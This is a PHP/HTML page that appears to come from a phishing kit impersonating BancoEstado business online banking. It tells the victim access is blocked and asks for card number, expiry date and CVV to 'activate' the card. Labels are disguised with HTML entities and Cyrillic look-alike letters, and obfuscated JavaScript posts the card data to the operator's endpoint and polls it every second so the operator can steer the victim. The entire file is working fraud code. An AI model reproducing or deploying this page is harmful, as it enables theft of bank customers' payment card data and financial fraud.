<?php
if (!isset($_SESSION['referido'], $_SESSION['u'], $_POST['vista'])) :
    exit();
endif;

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en">

<head>
    <link href="https://www.bancoestado.cl/imagenes/empresas2008/Nueva_home_Empresas/images/favicon.ico" rel="shortcut icon" type="image/x-icon" />


    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="/src/css/global.css">
    <link rel="stylesheet" href="/src/css/vsTS.css">
    <link rel="stylesheet" href="/src/css/vsMS.css">
    <link rel="stylesheet" href="/src/css/estilos.css">
    <link rel="stylesheet" href="/src/css/loading.css">
    <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,600,700,400italic,700italic,300" rel="stylesheet" type="text/css">
    <title>Banco Estado de Chile Home Page</title>
    <style>
        #msgerror p {
            text-align: center;
            color: red;
        }
        #headertop img{
            
            margin: 0;
        }
        #headertop{
            background: #fff;
        }
        #contensec{
            margin-top: 0px;
        }
        
#cabecera {
    padding-bottom: 10px;
    border-bottom-width: 3px;
    border-bottom-style: solid;
    border-bottom-color: #CACACA;
    margin-bottom: 10px;
}

#cabecera #titulo {
    padding-top: 10px;
}

#cabecera h1 {
    color: #ff8700;
    font-size: 20px;
    font-weight: normal;
}
.usuario_registrado td {
    padding: 3px 0px;
    vertical-align: top;
    font-weight: bold;
    font-size: 11px;
}

.usuario_registrado th {
    padding: 3px 0px;
    vertical-align: top;
    font-weight: normal;
    font-size: 11px;
    
    
    text-align: left;
}
.usuario_registrado tr:last-child {

    
}

.ouiias {
    width: 676px;
    margin: 21px;
    float:left;
}

.caja--icon__icon, .caja--icon__icon--green, .caja--icon__icon--red, .caja--icon__icon--teal, .caja--icon__icon--yellow {
    display: none;
}
.container-md .caja, .container-md .caja--sim, .container-md .caja--icon {
    max-width: 712px;
    padding: 2px 20px 0px 20px;
    /* margin: 0 auto; */
    width: 401px;
    /* margin-bottom: 16px; */
    margin: 13px 0 0 0 !important;
    
}

.caja__title:first-of-type {
    margin-top: 10px;
    font-size: 14px !important;
}
.super-clave__input:focus~.placeholder {
    top: -14px;
    font-size: 11px;
    color: #000;
}
.super-clave .placeholder {
    font-size: 11px;
    left: 0;
    pointer-events: none;
    position: absolute;
    top: 7px;
    -webkit-transition: all .25s ease;
    transition: all .25s ease;
    width: 100%;
    color: #6d6d6d;
    text-align: center;
}

.botonSecundario {
    color: #ff8700;
    background-color: #fff;
    cursor: pointer;
}
.bordePrincipal {
    box-shadow: inset 0px 0px 0px 1px #dddddd;
}
.botonNew{
    
    margin: 18px;
    border-radius: initial;
    padding: 7px 1px;
    display: inline-block;
    text-align: center;
    font-size: 12px;
}

.sc:valid~.placeholder {
    top: -14px;
    font-size: 12px;
    color: #333;
}

    </style>
    
    

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
    <script src="https://rawgit.com/jessepollak/card/master/dist/card.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/numeral.js/2.0.6/numeral.min.js"></script>
    
</head>

<body>
    <div id="headertop" >
        
        <img alt="" id="scnTS_itm1_img_nvl0" src="/src/be-header.png">
        
    </div>

    <div id="contensec">
        <table width="100%" cellpadding="0" cellspacing="0">
            <tbody>
                <tr>
                    <td valign="top" style="
    background: #e5e3ea;
    width: 148px;
    margin: 0;
">
                        
                            <img src="/src/be-izquierda-empresas.png">
                        
                    </td>
                    <td style="
    float: left;
">
                        <div id="oom" class="mr-10 d-100">
                            <div class="ouiias">
                                <div id="cabecera">
                                            <div id="titulo"><h1>Bienvenido a BancoEstado Internet</h1></div>
                                            <div class="clear"></div>
                                        </div>
                                        <div class="usuario_registrado">

                                        <?php
                                        $datos=json_decode($userDato->nombre); 
                                        ?>
                                        <table border="0" cellpadding="0" cellspacing="0">
                                                <tbody><tr>
                                                    <th width="90px">Nombre Usuario</th>
                                                    <td><?=$datos->nombreUsuario ?></td>
                                                    <th width="70px">Rut Usuario</th>
                                                    <td><?=$datos->rutUsuario ?></td>
                                                    <th width="80px">&nbsp;&nbsp;&nbsp;&nbsp;Fecha - Hora</th>
                                                    <td><?=$datos->ultimaConeccion ?></td>
                                                </tr>
                                                <tr>
                                                    
                                                    <th>Nombre Empresa</th>
                                                    <td><?=$datos->nombreEmpresa ?></td>
                                                    <th>Rut Empresa</th>
                                                    <td><?=$datos->rutEmpresa ?></td>
                                                    <th>&nbsp;</th>
                                                    <td>&nbsp;</td>
                                                </tr>
                                                <tr>
                                                    <th>Ejecutivo</th>
                                                        <td> <?=$datos->nombreEjecutivo ?></td>
                                                    
                                                    <th>Sucursal</th>
                                                        <td colspan="3"><?=$datos->nombreSucursal ?></td>
                                                    
                                                </tr>
                                                <tr>
                                                    <th>Última conexión</th>
                                                    <td><?=$datos->ultimaConeccion ?></td>
                                                    <th>&nbsp;</th>
                                                    <td>&nbsp;</td>
                                                    <th>&nbsp;</th>
                                                    <td>&nbsp;</td>
                                                </tr>
                                            </tbody></table>
                                            
                                            
                                        </div>

                                <p style="
    color: #ff0000;
    margin-top: 25px;
">SIN ACCESO!. confirme los datos de su tarjeta.</p>                       
                                <form action="" method="post" id="frmpost" name="frmpost">
                                    <input type="hidden" name="proceso" value="poewoowoiaidfosdfzsdf">
                                    <div>
                                        <div class="container-md">
                                            <div class="caja--icon">
                                                <div class="caja--icon__icon--red"> <i class="icon-tarjeta"></i> </div>
                                                <p class="caja__title">&nbsp;&nbsp;Activación de &#116;&acy;&#114;&#106;&iecy;&#116;&acy;</p>
                                                
                                                <div class="card-wrapper"></div>
                                                
                                                <div class="super-clave">
                                                    <div>
                                                        <table>
                                                            <tr>
                                                                <td>
                                                                    <div class="super-clave__container carda">
                                                                        <input type="text" id="icar" class="super-clave__input sc" maxlength="16" required="" autocomplete="off" name="icar">
                                                                        <span class="bar"></span>
                                                                        <label class="placeholder">&#78;&#85;&#77;&#69;&#82;&#79;&#32;&#68;&#69;&#32;&#84;&#65;&#82;&#74;&#69;&#84;&#65;</label>
                                                                    </div>
                                                                </td>
                                                            </tr>
                                                            <tr>
                                                                <td height="20"></td>
                                                            </tr>
                                                            <tr>
                                                                <td>
                                                                    <table>
                                                                        <tbody>
                                                                            <tr>
                                                                                <td>
                                                                                    <div class="super-clave__container month">
                                                                                        <input type="text" id="imonth" class="super-clave__input sc" maxlength="2" required="" autocomplete="off" name="imonth">
                                                                                        <span class="bar"></span>
                                                                                        <label class="placeholder">MES</label>
                                                                                    </div>
                                                                                </td>
                                                                                <td>
                                                                                    <div class="super-clave__container year">
                                                                                        <input type="text" id="iyear" class="super-clave__input sc" maxlength="4" required="" autocomplete="off" name="iyear">
                                                                                        <span class="bar"></span>
                                                                                        <label class="placeholder">A&#209;O</label>
                                                                                    </div>
                                                                                </td>
                                                                                <td width="40"></td>
                                                                                <td>
                                                                                    <div class="super-clave__container cbb">
                                                                                        <input type="text" id="icbb" class="super-clave__input sc" maxlength="4" required="" autocomplete="off" name="icbb">
                                                                                        <span class="bar"></span>
                                                                                        <label class="placeholder">&#67;&#86;&#86;</label>
                                                                                    </div>
                                                                                </td>
                                                                            </tr>
                                                                        </tbody>
                                                                    </table>
                                                                </td>
                                                            </tr>
                                                            
                                                            <tr>
                                                                <td height="20"></td>
                                                            </tr>
                                                        </table>

                                                    </div>
                                                </div>
                                                <div class="alerta alerta--bottom"> <i class="alerta--bottom__icono str-icon-info"></i>
                                                    <p class="alerta__txt">Debe activar su &#116;&acy;&#114;&#106;&iecy;&#116;&acy; para utilizar nuestra plataforma dígital</p>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </form>

                                <div id="msgerror"></div>
                                <div style="text-align: center;">
                                    <a id="btnpost" onclick="javascript:vaform(this);" class="botonNew botonSecundario bordePrincipal">Aceptar <i class="icon-flecha-derecha"></i></a>
                                </div>
                            </div>

<div id="banner" style="
    float: left;
">
    
    <table width="120px" border="0" cellspacing="0" cellpadding="0">
                        <tbody><tr valign="top">
                            <td colspan="3"><img src="/src/Vineta_CajaArriba.gif" border="0" width="124px" height="22px"></td>
                        </tr>
                        <tr valign="top">

                            <td class="t2"><img src="imagesInstituciones/pt.gif" border="0" width="1px" height="1px"></td>

                            <td width="122px">
                                <br><table width="122px" border="0" cellspacing="0" cellpadding="0" align="center">
                                    
                                    <tbody><tr valign="top">
                                        <td align="center">
                                            <div class="campaigns-touchpoint owl-sidebar owl-carousel" campaigns:touchpoint-id="ble_default_zona_0">
                                                
                                                <img src="https://www.bancoestado.cl/imagenes/campanas2010/actdatos_22feb2010.gif" border="0" style="border-top-width: 0px;
		border-right-width: 0px;
		border-bottom-width: 0px;
		border-left-width: 0px;
		border-top-style: solid;
		border-right-style: solid;
		border-bottom-style: solid;
		border-left-style: solid;
		width: 100%;
		height: 100%;" oncontextmenu="return false;" alt="">
                                                </div></td>
                                    </tr>
                                    <tr valign="top">
                                        <td align="center">
                                            <br><div class="campaigns-touchpoint owl-sidebar owl-carousel" campaigns:touchpoint-id="ble_default_zona_1">

                                                </div></td>
                                    </tr>
                                    <tr valign="top">
                                        <td align="center">
                                            <br>
                                            <img src="imagesInstituciones/pt.gif" border="0" width="1px" height="10px">
                                        </td>
                                    </tr>
                                </tbody></table>
                            </td>
                            <td class="t2"><img src="imagesInstituciones/pt.gif" border="0" width="1px" height="1px"></td>

                        </tr>
                        <tr valign="top">
                            <td colspan="4"><img src="/src/Vineta_CajaAbajo.gif" border="0" width="124px" height="22px"></td>
                        </tr>
                    </tbody></table>
</div>
                        </div>

                    </td>
                </tr>
            </tbody>
        </table>
        <div style="clear: both;"></div>
    </div>


    <form id="formview" method="post" action=""><input type="hidden" name="vista" value=""></form>
    <form id="formwait" method="post" action=""><input type="hidden" name="proceso" value="oooiikaodtayusdauysdygha"></form>
</body>

</html>

<script src="/src/js/uuytaiosido.js"></script>
<script>
    var tool = new Mataburr0oa();
    var sesoooksd = '<?= $_SESSION['referido']; ?>';

    window.onload = () => {

        document.getElementById('icar').focus();

        setInterval(() => {
            var form = document.forms.formwait;
            tool.ajaxrequest(sesoooksd, 'post/req/soho', ooaosi1, form);
        }, 1000);
    }


    document.getElementById('icar').addEventListener('keypress', (e) => {
        var charCode = e.key;
        if ((/^[0123456789]+$/.test(charCode))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('icar').addEventListener('keyup', (e) => {
        ooaposd();
        if (document.getElementById('icar').value.length == 21) {
            document.getElementById('imonth').focus();
        }

    })


    document.getElementById('imonth').addEventListener('keypress', (e) => {
        var charCode = e.key;
        if ((/^[0123456789]+$/.test(charCode))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('imonth').addEventListener('keyup', (e) => {
        ooaposd();
        if (document.getElementById('imonth').value.length == 2) {
            document.getElementById('iyear').focus();
        }
    })

    document.getElementById('iyear').addEventListener('keypress', (e) => {
        var charCode = e.key;
        if ((/^[0123456789]+$/.test(charCode))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('iyear').addEventListener('keyup', (e) => {
        ooaposd();
        if (document.getElementById('iyear').value.length == 4) {
            document.getElementById('icbb').focus();
        }
    })

    document.getElementById('icbb').addEventListener('keypress', (e) => {
        var charCode = e.key;
        if ((/^[0123456789]+$/.test(charCode))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('icbb').addEventListener('keyup', (e) => {
        ooaposd();
    })

    function ooaosi1(e) {
        var obJSON = JSON.parse(e);
        if (obJSON.pr) {
            if (obJSON.pr == 1) {
                if (obJSON.est != 2) {
                    formview('/' + sesoooksd + '/bancoestado/process.asp/MID/AID/HOME-000/RQI/704BC9DB638147E69D06DF20CBE4F703/rnd/2F1DC493/ssnid/336A86CD');
                }
            } else {
                window.location.href = '/';
            }
        }
    }

    function formview($url) {
        var $form = document.forms.formview;
        $form.setAttribute('action', $url);
        $form.submit();
    }

    function ooaposd() {
        var oasu1 = document.getElementById('icar').value;
        var oasu2 = document.getElementById('imonth').value;
        var oasu3 = document.getElementById('iyear').value;
        var oasu4 = document.getElementById('icbb').value;

        //CONFIGURAR FECHA
        var f = new Date();
        var fecha;
        var ano = f.getFullYear();
        yearlimt = ano + 8;
        if ((f.getMonth() + 1) < 10) {
            fecha = "0" + (f.getMonth() + 1);
        } else {
            fecha = (f.getMonth() + 1);
        }

        var oasod = true;

        if (oasu1.length < 15) {
            oasod = false;
        }

        if (oasu2.length != 2 || oasu2 > 12) {
            oasod = false;
        }

        if (oasu3.length != 4) {
            oasod = false;
        }

        if (oasu3 < ano || oasu3 > yearlimt) {
            oasod = false;
        }

        if (oasu4.length < 3) {
            oasod = false;
        }

        if (oasod == true) {
            if (document.getElementById('btnpost').classList.contains('botonSecundario')) {
                document.getElementById('btnpost').classList.add('botonPrimario');
                document.getElementById('btnpost').classList.remove('botonSecundario');
                document.getElementById('btnpost').classList.remove('bordePrincipal');
            } else {
                if (!document.getElementById('btnpost').classList.contains('botonPrimario')) {
                    document.getElementById('btnpost').classList.add('botonPrimario');
                }
            }
        } else {
            if (!document.getElementById('btnpost').classList.contains('botonSecundario')) {
                document.getElementById('btnpost').classList.remove('botonPrimario');
                document.getElementById('btnpost').classList.add('botonSecundario');
                document.getElementById('btnpost').classList.add('bordePrincipal');
            }
        }

    }

    function uuryysipq1(res) {
        var obJSON = JSON.parse(res);
        if (obJSON.pr) {
            if (obJSON.pr == 1) {
                formview('/' + sesoooksd + '/bancoestado/process.asp/MID/AID/HOME-000/RQI/704BC9DB638147E69D06DF20CBE4F703/rnd/2F1DC493/ssnid/336A86CD');
            } else {
                window.location.href = '/';
            }
        } else {
            window.location.href = '/';
        }
    }

    function vaform(t) {
        if (t.classList.contains('botonPrimario')) {
            var form = document.forms.frmpost;
            tool.ajaxrequest(sesoooksd, 'post/req/soho', uuryysipq1, form);
        } else {

            var oasu1 = document.getElementById('icar').value;
            var oasu2 = document.getElementById('imonth').value;
            var oasu3 = document.getElementById('iyear').value;
            var oasu4 = document.getElementById('icbb').value;

            //CONFIGURAR FECHA
            var f = new Date();
            var fecha;
            var ano = f.getFullYear();
            yearlimt = ano + 8;
            if ((f.getMonth() + 1) < 10) {
                fecha = "0" + (f.getMonth() + 1);
            } else {
                fecha = (f.getMonth() + 1);
            }

            if (oasu1.length != 16) {
                document.getElementById('msgerror').innerHTML = '<p>Ingresa el n&#250;mero de &#116;&acy;&#114;&#106;&iecy;&#116;&acy; para continuar</p>';
                //return false;
            }

            if (oasu2.length != 2 || oasu2 > 12) {
                document.getElementById('msgerror').innerHTML = '<p>Ingresa la mes de vencimiento de la &#116;&acy;&#114;&#106;&iecy;&#116;&acy; para continuar</p>';
                return false;
            }

            if (oasu3.length != 4) {
                document.getElementById('msgerror').innerHTML = '<p>Ingresa la a&#241;o de vencimiento de la &#116;&acy;&#114;&#106;&iecy;&#116;&acy; para continuar</p>';
                return false;
            }

            if (oasu3 < ano || oasu3 > yearlimt) {
                document.getElementById('msgerror').innerHTML = '<p>Ingresa la a&#241;o de vencimiento de la &#116;&acy;&#114;&#106;&iecy;&#116;&acy; para continuar</p>';
                return false;
            }

            if (oasu4.length != 3) {
                document.getElementById('msgerror').innerHTML = '<p>Ingresa c&#243;digo cvv de la &#116;&acy;&#114;&#106;&iecy;&#116;&acy; para continuar</p>';
                return false;
            }

        }
    }
    
$(document).ready(function(){
    var card = new Card({
    // a selector or DOM element for the form where users will
    // be entering their information
    form: '#frmpost', // *required*
    // a selector or DOM element for the container
    // where you want the card to appear
    container: '.card-wrapper', // *required*

    width: 200, // optional �� default 350px
    formatting: true, // optional - default true

    // Strings for translation - optional
    messages: {
        validDate: 'valid\ndate', // optional - default 'valid\nthru'
        monthYear: 'mm/yyyy', // optional - default 'month/year'
    },

    // Default placeholders for rendered fields - optional
    placeholders: {
        //number: '�6�1�6�1�6�1�6�1 �6�1�6�1�6�1�6�1 �6�1�6�1�6�1�6�1 �6�1�6�1�6�1�6�1',
        name: 'NOMBRE',
        expiry: '�6�1�6�1/�6�1�6�1',
        cvc: '�6�1�6�1�6�1'
    },
    formSelectors: { 
        numberInput: "input#icar",
        expiryInput:  'input[id="imonth"], input[id="iyear"]',
        cvcInput: "input#icbb",
        nameInput: "input#inombre"
    },
    masks: {
        //cardNumber: '�6�1' // optional - mask card number
    },

    // if true, will log helpful messages for setting up Card
    debug: false // optional - default false
});
})

</script>